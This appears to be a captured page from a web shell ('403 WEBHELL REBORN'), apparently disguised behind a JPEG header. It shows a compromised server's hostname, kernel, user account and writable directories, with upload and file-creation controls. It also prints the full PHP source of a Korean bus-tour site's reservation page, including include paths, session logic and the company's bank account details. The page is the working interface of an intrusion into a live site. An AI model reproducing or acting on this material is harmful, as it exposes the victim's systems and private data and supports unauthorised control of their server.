ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/page/my-reservation.html
<?php
    include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';
    include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

    //로그인
    if(!isset($_SESSION['web_member'])){

        //goLogin();
        $goUrl = urlencode("/page/my-reservation.html");
        $loginMsg = _e("로그인 후 이용 가능합니다.");
        goLogin($loginMsg, $goUrl);

        exit;
    }

    $mbId = $_SESSION['web_member']['mb_id'];

    //내 예약 정보 가져오기
    $myResList = getMyResList($mbId);

    //상품 이미지 목록
    $goodInfo = $myResList['goodInfoList'];

//    p($goodInfo);
    //예약목록
    $myResList = $myResList['resList'];
//    p($myResList);


?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php
    $page_title = _e("내 예약");
    include $_SERVER['DOCUMENT_ROOT'].'/include/meta_data.php';
?>

<!-- CSS -->
<link rel="stylesheet" href="/css/myReservation.css?ver=<?=time()?>">
</head>
<body>
<?php
    include $_SERVER['DOCUMENT_ROOT'].'/include/header.php';
?>
<!--서브페이지 배너-->
<div class="sub-banner">
    <img class="pc-ban" src="/img/sub/sub-ban-company.jpg">
    <img class="mo-ban" src="/img/sub/sub-ban-mo-company.jpg">
</div>

<!--페이지 경로 안내-->
<div class="sub-page">
    <p class="inner"><?=_e("홈")?> > <b><?=_e("내 예약")?></b></p>
</div>

<!--짚라인코리아-->
<!--<section id="company-section" class="section-padding MyReserve" data-aos="fade-up" data-aos-duration="2000">-->
<section id="company-section" class="MyReserve">
    <div class="inner">

        <h1 class="sub-main-tit"><?=_e("내 예약")?><div class="tit-line"></div></h1>


        <?php
            if(count($myResList) > 0) {
        ?>
        <div class="reserve_list">
            <?php
                foreach($myResList as $item){
                    $resGoodInfo = $goodInfo[$item['g_uid']];

                    $goodTab = $resGoodInfo['tab'];

                    $goodLink = "/page/product-detail.html?b_uid={$resGoodInfo['b_uid']}&m_uid={$resGoodInfo['m_uid']}&g_uid={$resGoodInfo['g_uid']}";
                    $regDate = date("y.m.d",strtotime($item['ins_dt']));
                    $startDate = str_replace("-",".",$item['ev_start']);


                    //구입당시 단가
                    $adultPrice = (int) $item['adult_price'] / $extToKrw;
                    $childPrice = (int) $item['child_price'] / $extToKrw;

                    $adultCnt = (int) $item['peopleCnt']['adultCnt'];
                    $childCnt = (int) $item['peopleCnt']['childCnt'];

//                    p($adultCnt);
//                    p($lang);

                    $adultViewAreaText = "";

                    $adultTotalPrice = 0;
                    $childTotalPrice = 0;

                    if($adultCnt > 0){

                        if($lang == 'ko'){

                            if($goodTab == 'P'){
                                $adultViewAreaText = "버스 ".$adultCnt."대 $".number_format($adultPrice).' x '.$adultCnt;
                            }else{
                                $adultViewAreaText = "성인 ".$adultCnt."명 $".number_format($adultPrice).' x '.$adultCnt;
                            }

                        }else if($lang == 'hk' || $lang == 'tw'){



                            if($goodTab == 'P'){
                                $adultViewAreaText = $adultCnt."輛巴士 $".number_format($adultPrice).' x '.$adultCnt;
                            }else{
                                $adultViewAreaText = _e("성인")." ".$adultCnt."名 $".number_format($adultPrice).' x '.$adultCnt;
                            }

                        }else if($lang == 'en'){
                            if($goodTab == 'P'){
                                $adultViewAreaText = "BUS ".$adultCnt." $".number_format($adultPrice).' x '.$adultCnt;
                            }else{
                                $adultViewAreaText = "Adult ".$adultCnt." $".number_format($adultPrice).' x '.$adultCnt;
                            }

                        }

                        $adultTotalPrice = $adultCnt * $adultPrice;
                    }

                    if($childCnt > 0){

                        if($lang == 'ko'){
                            $childViewAreaText = "소인 ".$childCnt."명 $".number_format($childPrice).' x '.$childCnt;
                        }else if($lang == 'hk'){
                            $childViewAreaText = _e("소인")." ".$childCnt."名 $".number_format($childPrice).' x '.$childCnt;
                        }else if($lang == 'en'){
                            $childViewAreaText = "Child ".$childCnt." $".number_format($childPrice).' x '.$childCnt;
                        }

                        $childTotalPrice = $childPrice * $childCnt;
                    }

                    $totalPrice = $adultTotalPrice + $childTotalPrice;


                    $item['order_state'] = 'E';

                    /*$orderStateList = array(

                        'A' => '예약접수',
                        'D' => '입금완료',
                        'E' => '확정대기',
                        'B' => '확정',
                        'F' => '행사완료',
                        'H' => '취소완료',
                        'C' => '계약금입금',
                        'G' => '취소요청'

                    );*/

            ?>

                    <div class="reserve_item">
                        <p class="orderStatus orderStatusColor<?=$item['order_state']?>">*<?=_e($orderStateList[$item['order_state']])?></p>

                        <div class="imgbox">
                            <img src="/FileData/good/<?=$resGoodInfo['g_image1']?>" alt="<?=$item['g_title']?>" class="img-full">
                        </div>
                        <div class="infobox">
                            <div class="title">
                                <?=$item['g_title']?>
                                <a href="<?=$goodLink?>" class="detail_btn">
                                    <div class="icon">
                                        <img src="/img/sch_icon.png" alt="" class="img-full">
                                    </div>
                                    <?=_e('상품 상세보기')?>
                                </a>
                            </div>
                            <div class="datebox">
                                <div class="date">
                                    <span class="color"><?=_e('예약일')?></span>
                                    <?=$regDate?>
                                </div>
                                <div class="date">
                                    <span class="color"><?=_e('행사일')?></span>
                                    <?=$startDate?>
                                </div>
                            </div>


                            <div class="infoitem">
                                <?php
                                if($adultCnt > 0){
                                ?>
                                <div class="info_txt">
                                    <p class="sub"><?=_e($adultViewAreaText)?></p>
                                    <p class="desc">
                                        $ <?=number_format($adultTotalPrice)?>
                                    </p>
                                </div>
                                <?php
                                }
                                ?>

                                <?php
                                if($childCnt > 0){
                                    ?>
                                    <div class="info_txt">
                                        <p class="sub"><?=_e($childViewAreaText)?></p>
                                        <p class="desc">
                                            $ <?=number_format($childTotalPrice)?>
                                        </p>
                                    </div>
                                    <?php
                                }
                                ?>
                            </div>



                            <div class="info_total">

                            <?php
                                if($item['accCnt'] == 0){
                            ?>
                                <p class="account_no">
                                    Bank name : Woori bank<br>
                                    Account holder : 주식회사 여행버스<br>
                                    Account number : 1005-604-459117
                                </p>
                            <?php
                                }
                            ?>
                                <div class="my_total_price">
                                    <span class="sub"> <?=_e('총 금액')?> &nbsp;&nbsp;</span>
                                    <span class="desc">   $ <?=number_format($totalPrice)?> </span>
                                </div>
                            </div>
                        </div>

                        <div class="mob_info_total">
                        <?php
                            if($item['accCnt'] == 0){
                        ?>
                            <p class="account_no">
                                Bank name : woori bank<br>
                                Account holder : 주식회사 여행버스<br>
                                Account number : 1005-604-459117
                            </p>
                        <?php
                            }
                        ?>
                            <div class="my_total_price">
                                <span class="sub"><?=_e('총 금액')?></span>
                                <span class="desc">$ <?=number_format($totalPrice)?></span>
                            </div>
                        </div>

                        <div class="btnbox">
                            <button type="button" class="btn_clear review_btn" style="background:<?=(($item['order_state'] == 'E') ? '#ff4c22' : '')?> <?=(($item['order_state'] == 'B') ? '#2879E7' : '')?> <?=(($item['order_state'] == 'G') ? '#ff0000' : '')?>">
                                <?=_e($orderStateList[$item['order_state']])?>
                            </button>

                            <button type="button" class="btn_clear inquiry_btn" onclick="location.href='/page/inquiry-write.html'">
                                <?=_e('문의하기')?>
                            </button>

                        </div>
                    </div>

            <?php
                }
            ?>
        </div>

        <?php
            }else{
        ?>

        <div class="reserve_list" style="text-align:center">
            <h3><?=_e('진행중인 예약이 없습니다.')?></h3>
        </div>
        <?php
            }
        ?>








    </div>
</section>
<?php
include $_SERVER['DOCUMENT_ROOT'].'/include/footer.php';
?>
</body>
</html>

Anon7 - 2021